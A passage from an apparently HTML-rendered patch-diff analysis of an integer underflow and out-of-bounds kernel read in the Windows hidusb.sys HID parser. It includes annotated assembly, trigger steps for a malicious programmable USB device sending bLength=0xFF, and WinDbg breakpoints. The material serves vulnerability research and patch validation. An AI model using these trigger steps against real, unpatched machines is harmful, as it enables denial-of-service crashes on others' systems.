&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Safe subtraction&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// ... safe parsing logic ...&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// New error path: USB_InterfaceDescriptorOverflow&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;Below is the relevant section of the unpatched assembly demonstrating the integer underflow and the resulting out-of-bounds read.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- CHECK 1: buffer_size &amp;gt;= 9 ---&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0002fa3&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0002fa6&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jae&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c0003034&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Proceed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SECTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0003034&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0003039&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x9&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000303b&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jae&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c00030c9&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Proceed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;BUG&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Missing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00030c9&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WRAPS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer_size&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00030cb&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;
&lt;span class="mh"&gt;0x1c00030ce&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jae&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c000315c&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;passes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wrapped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PARSING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOOP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;READS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000315c&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13+0x40&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0003160&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfffffffe&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0003163&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13+0x40&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0003167&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000316c&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;descriptor_buf&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Points&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;past&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000316f&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OUT&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;OF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BOUNDS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;continuation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00032bd&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+0x4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bNumEndpoints&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00032d0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patch Change:&lt;/strong&gt;
The patched binary intercepts the flow immediately after evaluating &lt;code&gt;bLength &amp;gt;= 9&lt;/code&gt;. At &lt;code&gt;0x140002fba&lt;/code&gt; it inserts &lt;code&gt;cmp eax, edi&lt;/code&gt; followed by &lt;code&gt;jbe 0x140003036&lt;/code&gt; before reaching the subtraction instruction. If &lt;code&gt;bLength&lt;/code&gt; exceeds &lt;code&gt;buffer_size&lt;/code&gt;, it falls through to the error handler that emits the &lt;code&gt;USB_InterfaceDescriptorOverflow&lt;/code&gt; event string (&lt;code&gt;0x14000302a&lt;/code&gt;) instead of reaching the subtraction. Only when &lt;code&gt;bLength &amp;lt;= buffer_size&lt;/code&gt; does control reach &lt;code&gt;0x140003036: sub edi, eax&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;p&gt;To trigger this vulnerability reliably, an attacker must perform the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a programmable USB device (e.g., Raspberry Pi Pico, Teensy, Facedancer).&lt;/li&gt;
&lt;li&gt;Program the device to present a configuration descriptor valid enough to pass &lt;code&gt;HumGetConfigDescriptor&lt;/code&gt; (at least 9 bytes, valid &lt;code&gt;wTotalLength&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Embed an interface descriptor within that configuration with &lt;code&gt;bInterfaceClass = 3&lt;/code&gt; (HID), ensuring &lt;code&gt;USBD_ParseConfigurationDescriptorEx&lt;/code&gt; targets it.&lt;/li&gt;
&lt;li&gt;Set the HID interface descriptor's &lt;code&gt;bLength&lt;/code&gt; field to a value greater than or equal to 9, but strictly larger than the remaining buffer size (e.g., &lt;code&gt;bLength = 0xFF&lt;/code&gt; where buffer remainder is ~20 bytes).&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;bNumEndpoints&lt;/code&gt; (offset 4 of the interface descriptor) to a non-zero value to force the vulnerable parsing loop to iterate, maximizing the out-of-bounds read distance.&lt;/li&gt;
&lt;li&gt;Plug the USB device into the target Windows machine. Windows will automatically enumerate the device, triggering the flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effects:&lt;/strong&gt; A kernel crash (BSOD) with stop code &lt;code&gt;0x50&lt;/code&gt; (PAGE_FAULT_IN_NONPAGED_AREA) when the out-of-bounds walk reaches an unmapped page, or &lt;code&gt;0x19&lt;/code&gt; (BAD_POOL_HEADER) / &lt;code&gt;0xC2&lt;/code&gt; (BAD_POOL_CALLER) under Special Pool. If the adjacent pool memory happens to be mapped, the out-of-bounds reads may complete without an observable effect (the bytes read are consumed only for descriptor parsing and are not returned to the attacker).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Out-of-bounds (OOB) kernel pool read. The loop reads &lt;code&gt;bLength&lt;/code&gt; and &lt;code&gt;bDescriptorType&lt;/code&gt; bytes from unallocated memory adjacent to the pool chunk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable Impact (DoS):&lt;/strong&gt; The underflow makes the remaining-size counter a large unsigned value, so the parsing loop keeps advancing &lt;code&gt;rbx&lt;/code&gt; by descriptor lengths read out of bounds until it walks off the end of mapped memory, producing a deterministic system crash (&lt;code&gt;0x50&lt;/code&gt;). This denial of service is the demonstrable impact.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not an information-disclosure primitive:&lt;/strong&gt; The bytes read out of bounds (&lt;code&gt;bLength&lt;/code&gt;, &lt;code&gt;bDescriptorType&lt;/code&gt;, &lt;code&gt;bNumEndpoints&lt;/code&gt;) are consumed only for the parser's control-flow decisions. The only value written to the caller's output (&lt;code&gt;*a4&lt;/code&gt;) is a pointer to a located descriptor, not the out-of-bounds byte contents, so no kernel memory contents are returned to the attacker along this path. An out-of-bounds read cannot corrupt the pool, so it does not provide a write or code-execution primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Special Pool (Driver Verifier):&lt;/strong&gt; If Special Pool is active on &lt;code&gt;hidusb.sys&lt;/code&gt;, the first read past the buffer boundary faults immediately, since the adjacent pages are marked inaccessible.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;To validate and analyze this vulnerability on the unpatched binary, use the following WinDbg/KD commands:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp hidusb!HumParseHidInterface
bp 0x1c00030c9 &amp;quot;.echo \&amp;quot;[!] Vulnerable Subtraction\&amp;quot;; r eax, edi;&amp;quot;
bp 0x1c000316f &amp;quot;.echo \&amp;quot;[!] First OOB Read\&amp;quot;; r rbx;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to Inspect&lt;/strong&gt;
* At &lt;code&gt;hidusb!HumParseHidInterface&lt;/code&gt; entry:
  * &lt;code&gt;r8d&lt;/code&gt; contains &lt;code&gt;buffer_size&lt;/code&gt;. 
  * &lt;code&gt;rdx&lt;/code&gt; contains the &lt;code&gt;descriptor_buf&lt;/code&gt; pointer. 
* At &lt;code&gt;0x1c00030c9&lt;/code&gt; (Vulnerable Subtraction):
  * &lt;code&gt;eax&lt;/code&gt; holds &lt;code&gt;bLength&lt;/code&gt; (attacker-controlled). 
  * &lt;code&gt;edi&lt;/code&gt; holds the original &lt;code&gt;buffer_size&lt;/code&gt;. 
  * Execute &lt;code&gt;t&lt;/code&gt; to step over &lt;code&gt;sub edi, eax&lt;/code&gt;. Watch &lt;code&gt;edi&lt;/code&gt; wrap to a massive value (e.g., &lt;code&gt;0xFFFFFF00&lt;/code&gt;).
* At &lt;code&gt;0x1c000316f&lt;/code&gt; (First OOB Read):
  * Inspect &lt;code&gt;rbx&lt;/code&gt;. It will be calculated as &lt;code&gt;r12 + bLength&lt;/code&gt;. Use &lt;code&gt;!pool rbx&lt;/code&gt; to verify it points outside the original allocation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup&lt;/strong&gt;
* Attach a hardware USB emulator (like Facedancer). 
* Configure the device to send a HID descriptor with &lt;code&gt;bLength=0xFF&lt;/code&gt; upon receiving a &lt;code&gt;GET_DESCRIPTOR(CONFIGURATION)&lt;/code&gt; request.
* Plug the emulator in. The breakpoint will hit automatically during PnP enumeration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Offsets&lt;/strong&gt;
* &lt;code&gt;0x1c0003034&lt;/code&gt;: &lt;code&gt;movzx eax, byte [r12]&lt;/code&gt; (Reads attacker-controlled &lt;code&gt;bLength&lt;/code&gt;).
* &lt;code&gt;0x1c00030c9&lt;/code&gt;: &lt;code&gt;sub edi, eax&lt;/code&gt; (The integer underflow).
* &lt;code&gt;0x1c000316f&lt;/code&gt;: &lt;code&gt;movzx ecx, byte [rbx]&lt;/code&gt; (The first OOB read).
* &lt;code&gt;0x1c00032bd&lt;/code&gt;: &lt;code&gt;movzx edx, byte [r12+0x4]&lt;/code&gt; (Reads &lt;code&gt;bNumEndpoints&lt;/code&gt;, determining loop iterations).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HumParseHidInterface&lt;/strong&gt; (Security Relevant): Added critical bounds check &lt;code&gt;bLength &amp;lt;= buffer_size&lt;/code&gt; to prevent integer underflow and OOB read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumInitDevice&lt;/strong&gt; (Behavioral): Extracted HID interface parsing logic into a new function &lt;code&gt;HumGetHidInfo&lt;/code&gt;. Telemetry reorganization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumSelectConfiguration&lt;/strong&gt; (Hardening): Migrated &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
